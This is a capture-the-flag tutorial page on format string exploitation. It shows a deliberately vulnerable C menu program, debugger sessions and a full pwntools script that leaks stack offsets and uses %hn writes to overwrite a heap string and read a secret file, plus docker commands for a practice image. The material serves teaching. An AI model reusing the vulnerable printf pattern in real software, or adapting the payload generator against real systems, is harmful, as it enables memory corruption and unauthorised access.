🏳️
The CTF Recipes
  • Introduction
  • Cryptography
    • Introduction
    • General knowledge
      • Encoding
        • Character encoding
          • ASCII
          • Unicode
          • UTF-8
        • Data encoding
          • Base16
          • Base32
          • Base64
      • Maths
        • Modular arithmetic
          • Greatest Common Divisor
          • Fermat's little theorem
          • Quadratic residues
          • Tonelli-Shanks
          • Chinese Remainder Theorem
          • Modular binomial
      • Padding
        • PKCS#7
    • Misc
      • XOR
    • Mono-alphabetic substitution
      • Index of coincidence
      • frequency analysis
      • Well known algorithms
        • 🔴Scytale
        • 🔴ROT
        • 🔴Polybe
        • 🔴Vigenere
        • 🔴Pigpen cipher
        • 🔴Affine cipher
    • Symmetric Cryptography
      • AES
        • Block Encryption procedure
          • Byte Substitution
          • Shift Row
          • Mix Column
          • Add Key
          • Key Expansion / Key Schedule
        • Mode of Operation
          • ECB
            • Block shuffling
              • Challenge example
            • ECB Oracle
              • Challenge example
          • CBC
            • Bit flipping
              • Challenge example
            • Padding oracle
              • Challenge example
          • OFB
            • Key stream reconstruction
            • Encrypt to Uncrypt
  • 🛠️Pwn
    • General knowledge
      • STACK
        • Variables storage
        • Stack frame
      • PLT and GOT
      • HEAP
        • HEAP operations
        • Chunk
        • Bins
        • Chunk allocation and reallocation
      • Syscall
    • Architectures
      • aarch32
        • Registers
        • Instruction set
        • Calling convention
      • aarch64
        • Registers
        • Instruction set
        • Calling convention
      • mips32
        • Registers
        • Instruction set
        • Calling convention
      • mips64
        • Registers
        • Instruction set
        • Calling convention
      • x86 / x64
        • Registers
        • Instruction set
        • Calling convention
    • Stack exploitation
      • Stack Buffer Overflow
        • Dangerous functions
          • gets
          • memcpy
          • sprintf
          • strcat
          • strcpy
        • Basics
          • Challenge example
        • Instruction pointer Overwrite
          • Challenge example
        • De Bruijn Sequences
        • Stack reading
          • Challenge example
      • Format string
        • Dangerous functions
          • printf
          • fprintf
        • Placeholder
        • Data Leak
          • Challenge example
        • Data modification
          • Challenge example
      • Arbitrary code execution
        • Shellcode
        • ret2reg
        • Code reuse attack
          • Ret2plt
          • Ret2dlresolve
          • GOT Overwrite
          • Ret2LibC
          • Leaking LibC
          • Ret2csu
          • Return Oriented Programming - ROP
          • Sigreturn Oriented Programming - SROP
          • Blind Return Oriented Programming - BROP
            • Challenge example
          • 🔴Call Oriented Programming - COP
          • 🔴Jump Oriented Programming - JOP
          • One gadget
        • Stack pivoting
    • 🛠️Heap exploitation
      • Heap overflow
        • Challenge example
      • Use after free
        • Challenge example
      • 🛠️Double free
      • 🔴Unlink exploit
    • Protections
      • Stack Canaries
      • No eXecute
      • PIE
      • ASLR
      • RELRO
    • Integer overflow
Powered by GitBook
On this page
  • Code example
  • Exploitation
  • Retrieving offset
  • Editing value
  • Exercice
  1. Pwn
  2. Stack exploitation
  3. Format string
  4. Data modification

Challenge example

Code example

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void secret() {
  char *filename = "./.passwd";
  FILE *file = fopen(filename, "r");
  if (file == NULL) {
    printf("Error opening file.\n");
    return;
  }

  char line[256];
  while (fgets(line, sizeof(line), file)) {
    printf("%s", line);
  }

  fclose(file);
}

char *authenticate() {
  char password[16];
  printf("Enter password: ");
  scanf("%15s", password);

  if (strcmp(password, "secret") == 0) {
    return "admin";
  } else {
    return "guest";
  }
}

void menu(char *user_type) {
  int choice;
  char header[32] = "Hello World !";
  while (1) {
    printf("\n--- Menu ---\n");
    printf(header);
    printf("\n");
    printf("1. Change header\n");
    if (strcmp(user_type, "admin") == 0) {
      printf("2. Read secret\n");
    }
    printf("0. Exit\n");
    printf("Enter your choice: ");
    scanf("%1d", &choice);

    if (choice == 1) {
      // Change the header string
      printf("Enter new header: ");
      scanf("%30s", header);
    } else if (choice == 0) {
      // Exit
      break;
    } else if (choice == 2 && strcmp(user_type, "admin") == 0) {
      // Call the secret() function
      secret();
    } else {
      printf("Invalid choice. Try again.\n");
    }
  }
}


int main() {
  char *user_type = malloc(16);
  strcpy(user_type, authenticate());
  printf("Welcome, %s!\n", user_type);
  menu(user_type);
}
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void secret() {
  char *filename = "./.passwd";
  FILE *file = fopen(filename, "r");
  if (file == NULL) {
    printf("Error opening file.\n");
    return;
  }

  char line[256];
  while (fgets(line, sizeof(line), file)) {
    printf("%s", line);
  }

  fclose(file);
}

char *authenticate() {
  char password[16];
  printf("Enter password: ");
  scanf("%15s", password);

  if (strcmp(password, "secret") == 0) {
    return "admin";
  } else {
    return "guest";
  }
}

void menu(char *user_type) {
  int choice;
  char header[32] = "Hello World !";
  while (1) {
    printf("\n--- Menu ---\n");
    printf("%s\n", header);
    printf("1. Change header\n");
    if (strcmp(user_type, "admin") == 0) {
      printf("2. Read secret\n");
    }
    printf("0. Exit\n");
    printf("Enter your choice: ");
    scanf("%1d", &choice);

    if (choice == 1) {
      // Change the header string
      printf("Enter new header: ");
      scanf("%30s", header);
    } else if (choice == 0) {
      // Exit
      break;
    } else if (choice == 2 && strcmp(user_type, "admin") == 0) {
      // Call the secret() function
      secret();
    } else {
      printf("Invalid choice. Try again.\n");
    }
  }
}


int main() {
  char *user_type = malloc(16);
  strcpy(user_type, authenticate());
  printf("Welcome, %s!\n", user_type);
  menu(user_type);
}

The objective is to rewrite the user_type value to "admin" in order to read the secret file

Exploitation

The first step is to identify the offset between the user input used to exploit the format string and the "user_type" variable into the stack.

Retrieving offset

Retrieving user input

Using the stack command, it's possible to retrieve the user input location on the stack :

gdb-peda$ stack
0000| 0xffffd340 --> 0x804a08b ("Enter your choice: ")
0004| 0xffffd344 --> 0x804a049 ("admin")
0008| 0xffffd348 --> 0xf7fa7000 --> 0x1e4d6c 
0012| 0xffffd34c --> 0xbc2bd800 
0016| 0xffffd350 --> 0xffffd398 --> 0xffffd3b8 --> 0x0 
0020| 0xffffd354 --> 0xf7dc6830 --> 0x19e5 
0024| 0xffffd358 --> 0xf7fa7000 --> 0x1e4d6c 
0028| 0xffffd35c ("AAAA") // ==> Here is the user input

It's also possible to search the 0x41414141 value into the stack with the find command

gdb-peda$ find 0x41414141
Searching for '0x41414141' in: None ranges
Found 2 results, display max 2 items:
 [heap] : 0x804d5d0 ("AAAA\n")
[stack] : 0xffffd35c ("AAAA")

Retrieving "user_type"

Using the find command it's possible to search a specific value into the memory :

gdb-peda$ find guest
Searching for 'guest' in: None ranges
Found 3 results, display max 3 items:
 chall : 0x804a04f ("guest")
 chall : 0x804b04f ("guest")
[heap] : 0x804d1a0 ("guest")

Due to the malloc the value is stored into the heap. Here the location address is 0x804d1a0

Still Using the find command, it's possible to locate this pointer into the stack :

gdb-peda$ find 0x804d1a0
Searching for '0x804d1a0' in: None ranges
Found 3 results, display max 3 items:
[stack] : 0xffffd390 --> 0x804d1a0 ("guest")
[stack] : 0xffffd394 --> 0x804d1a0 ("guest")
[stack] : 0xffffd3ac --> 0x804d1a0 ("guest")

Offset calculation

Then ([pointer stack address] - [user_input stack address]) / 4 = offset

gdb-peda$ p/d (0xffffd3ac - 0xffffd35c) / 4
$2 = 20

The possible offset values could be bruteforced by sending a format string with successively increasing offset values, such as "%1$s", "%2$s", "%3$s", and so on. If the output of the program is "guest" when the format string "%x$s" is sent, then the offset value x might be considered valid.

def fuzz(search, type):
    # Initialize an empty list to store the offsets that match the search string
    offsets = []
    p = start()
    # Loop through a range of offsets
    for i in range(50):
        try:
            # Generate the payload to test the current offset
            payload = f"AAAA%{i}${type}".encode()
            # Use the payload to test the current offset
            output = menu(p, payload)
            # Check if the search string is present in the output
            if search in output[1]:
                print(f"=> Found with offset : {i} !")
                print(f"HEADER = {output[1]}")
                # Add the current offset to the list of offsets
                offsets.append(i)
        except Exception as e:
            p = start()
    p.close()
    return offsets
$ python3 exploit.py 
=> Found with offset : 16 !
HEADER = guest
=> Found with offset : 20 !
HEADER = guest
=> Found with offset : 21 !
HEADER = guest
=> Found with offset : 27 !
HEADER = guest

As for retrieving user_type this fuzzing function allow to retrieve the user_input into the stack :

def fuzz(search, type):
    # Initialize an empty list to store the offsets that match the search string
    offsets = []
    p = start()
    try:
        # Loop through a range of offsets
        for i in range(50):
            # Generate the payload to test the current offset
            payload = f"AAAA%{i}${type}".encode()
            # Use the payload to test the current offset
            output = menu(p, payload)
            # Check if the search string is present in the output
            if search in output[1]:
                print(f"=> Found with offset : {i} !")
                print(f"HEADER = {output[1]}")
                # Add the current offset to the list of offsets
                offsets.append(i)
    except Exception as e:
        p.start()
    p.close()
    return offsets
=> Found with offset : 7 !
HEADER = AAAA41414141
from pwn import *

context.log_level = "ERROR"

def start():
    # Start the program
    p = process("./chall")
    # Authenticate with the program
    authenticate(p)
    # Receive output from the program until the "Exit" prompt is received
    p.recvuntil('Exit')
    # Return the process object
    return p

def authenticate(p):
    # Send the authentication option to the program
    p.sendline('a')
    # Receive a response from the program
    a = p.recvline()

def menu(p, payload, print_header=False, return_menu=False):
    # Send the menu option to the program
    p.sendline(b'1')
    # Receive a response from the program
    a = p.recvline()
    # Send the payload to the program
    p.sendline(payload)
    # Receive a response from the program
    a = p.recvline()
    # Receive all remaining output from the program until the "Exit" prompt is received
    output = p.recvuntil('Exit').decode('utf-8', 'ignore').split('\n')
    # Return the output of the program
    return output

def fuzz(search, type):
    # Initialize an empty list to store the offsets that match the search string
    offsets = []
    p = start()
    # Loop through a range of offsets
    for i in range(50):
        try:
            # Generate the payload to test the current offset
            payload = f"AAAA%{i}${type}".encode()
            # Use the payload to test the current offset
            output = menu(p, payload)
            # Check if the search string is present in the output
            if search in output[1]:
                print(f"=> Found with offset : {i} !")
                print(f"HEADER = {output[1]}")
                # Add the current offset to the list of offsets
                offsets.append(i)
        except Exception as e:
            p = start()
    p.close()
    return offsets

offsets_user_type = fuzz("guest", "s")
offset_user_input = fuzz("41414141", "08x")[0]

Editing value

In order to validate the objective, it's possible to directly edit the "user_type" variable directly ans see the repercussion on the program execution !

gdb-peda$ set *0x804d1a0 = 0x696d6461
gdb-peda$ set *0x804d1a4 = 0x0000006e
gdb-peda$ x 0x804d1a0
0x804d1a0:      "admin"

When the process is continued, the "3. read secret" option apear into the menu :

--- Menu ---
Hello World ! 
1. Change header
2. Exit
3. Read secret

In order to write into the heap, it's necessary to know the address. To do that it's possible to read the pointer into the heap at the offsets previously obtained.

def read_pointer(p, i):
    # Generate the payload to read the pointer
    payload = f"%{i}$#08x".encode()
    # Use the payload to read the pointer
    output = menu(p, payload)[1]
    # Return the output of the menu function
    return output

This format string writes the number of characters written so far into an integer pointer parameter.

So, 1768776801 characters must be sent to write 0x696d6461 ("admi" in little endian) at the target address and 230 characters must be sent to write 0x0000006e ("n" in little endian) to the target address + 4. This process is necessary to achieve the goal of writing the word 'admin' at the desired location.

It is necessary to divide this input into two and send 25697 to write 0x6461 ("ad" in little endian) to the target address and 26989 to write 0x696d ("mi") to the target address +2. This process helps to achieve the goal of writing the desired information at the specified location in a more efficient manner.

In this case, only 2 bytes are sent at a time, however an integer is coded on 4 bytes. Therefore, the use of a short (coded on 2 bytes) is necessary to accurately write 2 bytes. To do this, the %hn format string must be used.

There is the entire payload composition :

  • The first 4 bytes are the targeted address. The user input will be used as a pointer for the $n format string

  • The following bytes will be a placeholder with sufficient padding to write the correct number of bytes for the format string %n. To do this, the placeholder %Xd should be used where X is the amount of necessary bytes to write what is needed.

The number of padding bytes needed is equal to the value we want to write, minus 4. This is because the first 4 bytes of the input are used to specify the target address, so they are not included in the padding.

ex for "ad" :

\xa0\xd\x04\x08 | %25693d       | %7$hn
----------------+---------------+----------------------
targeted address| needed amount | format string to write
(little endian) | of char

Here is the function to generate all needed payloads to write the arbitrary value :

def generate_payloads(address, word, offset):
    # Initialize an empty list to store the payloads
    payloads = []
    # Initialize an empty list to store the bytes of the word
    b = []
    # Loop through the word two characters at a time
    for l in range(0,len(word),2):
        # Convert the two characters to bytes and add them to the list
        b.append(int(bytes(f"{word[l:l+2][::-1]}", 'utf-8').hex(),16))
    # Convert the address string to an integer
    address = int(address, 16)
    # Loop through the list of bytes
    for i in range(len(b)):
        # Calculate the target address for the current byte
        target = p32(address+(i*2))
        # Generate the payload to write the current byte to the target address
        payload = target + f"%{b[i]-4}d%{offset}$hn".encode()
        # Add the payload to the list
        payloads.append(payload)
    return payloads

And here is the function that use the payloads :

def write(offsets,offset_user_input):
    p = start()
    for i in offsets:
        try:
            # Read the pointer at the given offset
            address = read_pointer(p, i)
            print(f"Targeted : {address}")
            # Generate payloads
            payloads = generate_payloads(address, "admin", offset_user_input)
            for payload in payloads:
                # Use the payload to write to the target address
                output = menu(p, payload)
                # Check if the secret has been accessed
                if "secret" in output[3]:
                    print("pwned !")
                    # Read the secret
                    read_secret(p)
                    exit(0)
        except Exception as e:
            print(e)
            p = start()
    p.close()
$ python3 exploit.py 
=> Found with offset : 16 !
HEADER = AAAAguest
=> Found with offset : 20 !
HEADER = AAAAguest
=> Found with offset : 21 !
HEADER = AAAAguest
=> Found with offset : 27 !
HEADER = AAAAguest
=> Found with offset : 7 !
HEADER = AAAA41414141
Targeted : 0x804a04f

Targeted : 0x8b731a0
pwned !
SECRET = SuperPassword!!
from pwn import *

context.log_level = "ERROR"

def start():
    # Start the program
    p = process("../chall")
    # Authenticate with the program
    authenticate(p)
    # Receive output from the program until the "Exit" prompt is received
    p.recvuntil('Exit')
    # Return the process object
    return p

def authenticate(p):
    # Send the authentication option to the program
    p.sendline('a')
    # Receive a response from the program
    a = p.recvline()

def read_secret(p):
    # Send the secret-reading option to the program
    p.sendline(b"2")
    # Receive all remaining output from the program, with a timeout of 1 second
    output = p.recvall(timeout=1).decode('utf-8','ignore').split("\n")[1].split(" ")[-1]
    # Print the secret
    print(f"SECRET = {output}")

def menu(p, payload, print_header=False, return_menu=False):
    # Send the menu option to the program
    p.sendline(b'1')
    # Receive a response from the program
    a = p.recvline()
    # Send the payload to the program
    p.sendline(payload)
    # Receive a response from the program
    a = p.recvline()
    # Receive all remaining output from the program until the "Exit" prompt is received
    output = p.recvuntil('Exit').decode('utf-8', 'ignore').split('\n')
    # Return the output of the program
    return output

def fuzz(search, type):
    # Initialize an empty list to store the offsets that match the search string
    offsets = []
    p = start()
    # Loop through a range of offsets
    for i in range(50):
        try:
            # Generate the payload to test the current offset
            payload = f"AAAA%{i}${type}".encode()
            # Use the payload to test the current offset
            output = menu(p, payload)
            # Check if the search string is present in the output
            if search in output[1]:
                print(f"=> Found with offset : {i} !")
                print(f"HEADER = {output[1]}")
                # Add the current offset to the list of offsets
                offsets.append(i)
        except Exception as e:
            p = start()
    p.close()
    return offsets

def read_pointer(p, i):
    # Generate the payload to read the pointer
    payload = f"%{i}$#08x".encode()
    # Use the payload to read the pointer
    output = menu(p, payload)[1]
    # Return the output of the menu function
    return output

def generate_payloads(address, word, offset):
    # Initialize an empty list to store the payloads
    payloads = []
    # Initialize an empty list to store the bytes of the word
    b = []
    # Loop through the word two characters at a time
    for l in range(0,len(word),2):
        # Convert the two characters to bytes and add them to the list
        b.append(int(bytes(f"{word[l:l+2][::-1]}", 'utf-8').hex(),16))
    # Convert the address string to an integer
    address = int(address, 16)
    # Loop through the list of bytes
    for i in range(len(b)):
        # Calculate the target address for the current byte
        target = p32(address+(i*2))
        # Generate the payload to write the current byte to the target address
        payload = target + f"%{b[i]-4}d%{offset}$hn".encode()
        # Add the payload to the list
        payloads.append(payload)
    return payloads

def write(offsets,offset_user_input):
    p = start()
    for i in offsets:
        try:
            # Read the pointer at the given offset
            address = read_pointer(p, i)
            print(f"Targeted : {address}")
            # Generate payloads to write the string "admin" at the target address
            payloads = generate_payloads(address, "admin", offset_user_input)
            for payload in payloads:
                # Use the payload to write to the target address
                output = menu(p, payload)
                # Check if the secret has been accessed
                if "secret" in output[3]:
                    print("pwned !")
                    # Read the secret
                    read_secret(p)
                    exit(0)
        except Exception as e:
            print(e)
            p = start()
    p.close()

offsets_user_type = fuzz("guest", "s")
offset_user_input = fuzz("41414141", "08x")[0]
write(offsets_user_type,offset_user_input) 

It's also possible to overwrite the value of the saved instruction pointer into the stack to jump directly into the "secret" function when closing the menu instead of return to the main function.

Exercice

docker pull thectfrecipes/pwn:data_edit

Deploy the image using the followed command :

docker run --name format_string_data_edit -it --rm -d -p 3000:3000 thectfrecipes/pwn:data_edit

Access to the web shell with your browser at the address : http://localhost:3000/

login: challenge
password: password
PreviousData modificationNextArbitrary code execution

Last updated 2 years ago

the is used specify the number of the parameter to display. if this value is over than the amount of parameter, thus it's possible to read arbitrary value on the stack such as using multiple placeholder as explained .

As explained into the , the %n format string will be used to write data.

However, sending an input of 1768776801 characters is far too lengthy

All packaged, the secret appear :

If you want to try this exploit by yourself, you can pull :

🛠️
⚠️
✅
Placeholder page
this docker image
here
Parameter field of the placeholder